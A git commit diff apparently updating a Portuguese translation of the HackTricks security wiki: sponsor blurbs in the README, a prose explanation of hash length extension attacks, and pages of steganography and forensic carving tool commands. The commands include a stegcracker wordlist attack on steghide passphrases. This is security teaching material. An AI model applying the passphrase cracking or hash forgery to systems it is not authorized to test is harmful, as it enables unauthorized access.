Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.

This commit is contained in:
Translator 2024-09-04 13:31:41 +00:00
parent ed64ff13cd
commit b0efcbc282
86 changed files with 1086 additions and 2686 deletions

View file

@ -69,7 +69,7 @@ Acesse hoje:
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bug bounty!
* **Insights de Hacking:** Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
* **Insights de Hacking:** Envolva-se com conteúdo que mergulha na emoção e nos desafios do hacking
* **Notícias de Hack em Tempo Real:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
* **Últimos Anúncios:** Fique informado sobre os novos bug bounties lançando e atualizações cruciais da plataforma
@ -81,60 +81,26 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, explorar e se divertir.
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Nós não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, estourar shells e se divertir.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
***
### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
SerpApi oferece APIs rápidas e fáceis em tempo real para **acessar resultados de mecanismos de busca**. Eles raspam mecanismos de busca, gerenciam proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.
Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para raspagem de diferentes mecanismos de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\
Ao contrário de outros provedores, **a SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi incluem consistentemente todos os anúncios, imagens e vídeos inline, gráficos de conhecimento e outros elementos e recursos presentes nos resultados de busca.
Os atuais clientes da SerpApi incluem **Apple, Shopify e GrubHub**.\
Para mais informações, confira o [**blog**](https://serpapi.com/blog/)**,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\
Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sign\_up)**.**
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) é uma empresa profissional de cibersegurança com sede em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo **serviços de segurança ofensiva** com uma abordagem **moderna**.
WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias de Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias** de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
Outra coisa legal sobre a WebSec é que, ao contrário da média do setor, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar seu mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
## Licença & Isenção de Responsabilidade
@ -146,7 +112,7 @@ Confira-os em:
## Estatísticas do Github
![Estatísticas do HackTricks no Github](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Imagem de análise do Repobeats")
![Estatísticas do Github do HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Imagem de análise do Repobeats")
{% hint style="success" %}
@ -159,7 +125,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -10,24 +10,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Resumo do ataque
@ -44,7 +31,7 @@ Então, é possível para um **atacante** **anexar** **dados** e **gerar** uma *
### Como?
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir do** **hash** (estado) **anteriormente** criado, eles **adicionam o próximo bloco de dados** e **hasham**.
Basicamente, os algoritmos vulneráveis geram os hashes primeiro **hashando um bloco de dados**, e então, **a partir** do **hash** (estado) **anteriormente** criado, eles **adicionam o próximo bloco de dados** e **hasham**.
Então, imagine que o segredo é "segredo" e os dados são "dados", o MD5 de "segredodados" é 6036708eba0d11f6ef52ad44e8b74d5b.\
Se um atacante quiser anexar a string "anexar", ele pode:
@ -62,17 +49,7 @@ Se um atacante quiser anexar a string "anexar", ele pode:
Você pode encontrar este ataque bem explicado em [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -84,7 +61,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,33 +1,25 @@
# Truques de Stego
# Stego Tricks
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Extraindo Dados de Arquivos**
### **Binwalk**
Uma ferramenta para buscar arquivos binários para encontrar arquivos e dados ocultos. É instalado via `apt` e seu código fonte está disponível no [GitHub](https://github.com/ReFirmLabs/binwalk).
Uma ferramenta para buscar arquivos binários por arquivos e dados ocultos embutidos. É instalada via `apt` e seu código-fonte está disponível no [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
@ -41,23 +33,23 @@ foremost -i file # Extracts data
```
### **Exiftool**
Ajuda a visualizar metadados de arquivos, disponível [aqui](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
Ajuda a visualizar os metadados do arquivo, disponível [aqui](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, para visualização de metadados. Instalável via `apt`, código fonte no [GitHub](https://github.com/Exiv2/exiv2), e possui um [site oficial](http://www.exiv2.org/).
Semelhante ao exiftool, para visualização de metadados. Instalável via `apt`, código-fonte no [GitHub](https://github.com/Exiv2/exiv2), e possui um [site oficial](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **Ficheiro**
### **Arquivo**
Identifica o tipo de ficheiro com o qual estás a lidar.
Identifique o tipo de arquivo com o qual você está lidando.
### **Cadeias de Caracteres**
### **Strings**
Extrai cadeias de caracteres legíveis de ficheiros, utilizando várias configurações de codificação para filtrar a saída.
Extrai strings legíveis de arquivos, usando várias configurações de codificação para filtrar a saída.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -83,7 +75,7 @@ Caracteres invisíveis em espaços aparentemente vazios podem esconder informaç
## **Extraindo Dados de Imagens**
### **Identificando Detalhes da Imagem com o GraphicMagick**
### **Identificando Detalhes da Imagem com GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serve para determinar tipos de arquivos de imagem e identificar possíveis corrupções. Execute o comando abaixo para inspecionar uma imagem:
```bash
@ -95,24 +87,24 @@ Para tentar reparar uma imagem danificada, adicionar um comentário de metadados
```
### **Steghide para Ocultação de Dados**
Steghide facilita a ocultação de dados em arquivos `JPEG, BMP, WAV e AU`, capaz de incorporar e extrair dados criptografados. A instalação é simples usando `apt`, e seu [código-fonte está disponível no GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide facilita a ocultação de dados dentro de arquivos `JPEG, BMP, WAV e AU`, capaz de embutir e extrair dados criptografados. A instalação é simples usando `apt`, e seu [código-fonte está disponível no GitHub](https://github.com/StefanoDeVuono/steghide).
**Comandos:**
* `steghide info arquivo` revela se um arquivo contém dados ocultos.
* `steghide extract -sf arquivo [--senha senha]` extrai os dados ocultos, senha opcional.
* `steghide info file` revela se um arquivo contém dados ocultos.
* `steghide extract -sf file [--passphrase password]` extrai os dados ocultos, a senha é opcional.
Para extração baseada na web, visite [este site](https://futureboy.us/stegano/decinput.html).
**Ataque de Força Bruta com Stegcracker:**
* Para tentar a quebra de senha no Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) da seguinte forma:
* Para tentar quebrar a senha no Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) da seguinte forma:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg para Arquivos PNG e BMP**
zsteg é especializado em descobrir dados ocultos em arquivos PNG e BMP. A instalação é feita via `gem install zsteg`, com sua [fonte no GitHub](https://github.com/zed-0xff/zsteg).
zsteg se especializa em descobrir dados ocultos em arquivos PNG e BMP. A instalação é feita via `gem install zsteg`, com seu [código-fonte no GitHub](https://github.com/zed-0xff/zsteg).
**Comandos:**
@ -121,44 +113,46 @@ zsteg é especializado em descobrir dados ocultos em arquivos PNG e BMP. A insta
### **StegoVeritas e Stegsolve**
**stegoVeritas** verifica metadados, realiza transformações de imagem e aplica força bruta LSB, entre outras funcionalidades. Use `stegoveritas.py -h` para obter uma lista completa de opções e `stegoveritas.py stego.jpg` para executar todas as verificações.
**stegoVeritas** verifica metadados, realiza transformações de imagem e aplica força bruta LSB, entre outros recursos. Use `stegoveritas.py -h` para uma lista completa de opções e `stegoveritas.py stego.jpg` para executar todas as verificações.
**Stegsolve** aplica vários filtros de cor para revelar textos ou mensagens ocultas em imagens. Está disponível no [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** aplica vários filtros de cor para revelar textos ou mensagens ocultas dentro de imagens. Está disponível no [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT para Detecção de Conteúdo Oculto**
Técnicas de Transformada Rápida de Fourier (FFT) podem revelar conteúdo oculto em imagens. Recursos úteis incluem:
* [Demo EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Demonstração EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [FFTStegPic no GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy para Arquivos de Áudio e Imagem**
Stegpy permite incorporar informações em arquivos de imagem e áudio, com suporte para formatos como PNG, BMP, GIF, WebP e WAV. Está disponível no [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy permite embutir informações em arquivos de imagem e áudio, suportando formatos como PNG, BMP, GIF, WebP e WAV. Está disponível no [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck para Análise de Arquivos PNG**
Para analisar arquivos PNG ou validar sua autenticidade, use:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Ferramentas Adicionais para Análise de Imagens**
Para uma exploração mais aprofundada, considere visitar:
Para uma exploração adicional, considere visitar:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Análise de Nível de Erro de Imagem](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Análise do Nível de Erro da Imagem](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
## **Extraindo Dados de Áudios**
A **esteganografia de áudio** oferece um método único para ocultar informações em arquivos de áudio. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
**Esteganografia de áudio** oferece um método único para ocultar informações dentro de arquivos de som. Diferentes ferramentas são utilizadas para embutir ou recuperar conteúdo oculto.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide é uma ferramenta versátil projetada para ocultar dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas são fornecidas na [documentação de truques de estego](stego-tricks.md#steghide).
Steghide é uma ferramenta versátil projetada para esconder dados em arquivos JPEG, BMP, WAV e AU. Instruções detalhadas estão disponíveis na [documentação de truques de stego](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
@ -166,13 +160,13 @@ Esta ferramenta é compatível com uma variedade de formatos, incluindo PNG, BMP
### **ffmpeg**
O ffmpeg é crucial para avaliar a integridade de arquivos de áudio, destacando informações detalhadas e identificando quaisquer discrepâncias.
ffmpeg é crucial para avaliar a integridade dos arquivos de áudio, destacando informações detalhadas e identificando quaisquer discrepâncias.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg destaca-se em ocultar e extrair dados dentro de arquivos WAV usando a estratégia do bit menos significativo. Está acessível no [GitHub](https://github.com/ragibson/Steganography#WavSteg). Os comandos incluem:
WavSteg se destaca em ocultar e extrair dados dentro de arquivos WAV usando a estratégia do bit menos significativo. Está acessível no [GitHub](https://github.com/ragibson/Steganography#WavSteg). Os comandos incluem:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -180,26 +174,28 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound permite a criptografia e detecção de informações em arquivos de áudio usando AES-256. Pode ser baixado na [página oficial](http://jpinsoft.net/deepsound/download.aspx).
Deepsound permite a criptografia e detecção de informações dentro de arquivos de som usando AES-256. Pode ser baixado da [página oficial](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
Uma ferramenta inestimável para inspeção visual e analítica de arquivos de áudio, o Sonic Visualizer pode revelar elementos ocultos indetectáveis por outros meios. Visite o [site oficial](https://www.sonicvisualiser.org/) para mais informações.
Uma ferramenta inestimável para inspeção visual e analítica de arquivos de áudio, Sonic Visualizer pode revelar elementos ocultos indetectáveis por outros meios. Visite o [site oficial](https://www.sonicvisualiser.org/) para mais informações.
### **DTMF Tones - Dial Tones**
### **Tons DTMF - Tons de Discagem**
A detecção de tons DTMF em arquivos de áudio pode ser realizada por meio de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
Detectar tons DTMF em arquivos de áudio pode ser alcançado através de ferramentas online como [este detector DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
## **Outras Técnicas**
### **Binary Length SQRT - QR Code**
### **Comprimento Binário SQRT - Código QR**
Dados binários que resultam em um número inteiro ao serem elevados ao quadrado podem representar um código QR. Use este trecho para verificar:
Dados binários que se elevam ao quadrado para um número inteiro podem representar um código QR. Use este trecho para verificar:
```python
import math
math.sqrt(2500) #50
```
### **Tradução de Braille**
Para conversão de binário para imagem, verifique [dcode](https://www.dcode.fr/binary-image). Para ler códigos QR, use [este leitor de código de barras online](https://online-barcode-reader.inliteresearch.com/).
### **Tradução em Braille**
Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/braille-translator) é um excelente recurso.
@ -208,22 +204,16 @@ Para traduzir Braille, o [Branah Braille Translator](https://www.branah.com/brai
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Grupo de Segurança Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Carving & Recovery tools
Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela processe o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela ingira o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivo configurados por padrão.
Outra ferramenta comum para encontrar arquivos ocultos é **foremost**. Você pode encontrar o arquivo de configuração do foremost em `/etc/foremost.conf`. Se você quiser apenas procurar por alguns arquivos específicos, descomente-os. Se você não descomentar nada, o foremost irá procurar pelos tipos de arquivos configurados por padrão.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -88,7 +80,7 @@ Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da
* Obtendo **padrões** para criptoanálise em arquivos
* **Identificando** algoritmos de empacotamento ou codificação
* **Identificar** Esteganografia por padrões
* **Diferença** visual binária
* **Diferença** binária visual
BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de caixa-preta.
@ -96,20 +88,14 @@ BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhe
### FindAES
Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
Procura por chaves AES buscando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
Baixe [aqui](https://sourceforge.net/projects/findaes/).
## Ferramentas Complementares
Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
Você pode usar a ferramenta de linha de comando linux **pdftotext** para transformar um pdf em texto e lê-lo.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Carving & Recovery tools
## Ferramentas de Carving & Recuperação
Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela ingeste o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
A ferramenta mais comum usada em forense para extrair arquivos de imagens é [**Autopsy**](https://www.autopsy.com/download/). Baixe, instale e faça com que ela processe o arquivo para encontrar arquivos "ocultos". Note que o Autopsy é projetado para suportar imagens de disco e outros tipos de imagens, mas não arquivos simples.
### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -96,21 +88,15 @@ BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhe
### FindAES
Procura por chaves AES buscando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
Baixe [aqui](https://sourceforge.net/projects/findaes/).
## Ferramentas Complementares
Você pode usar [**viu**](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
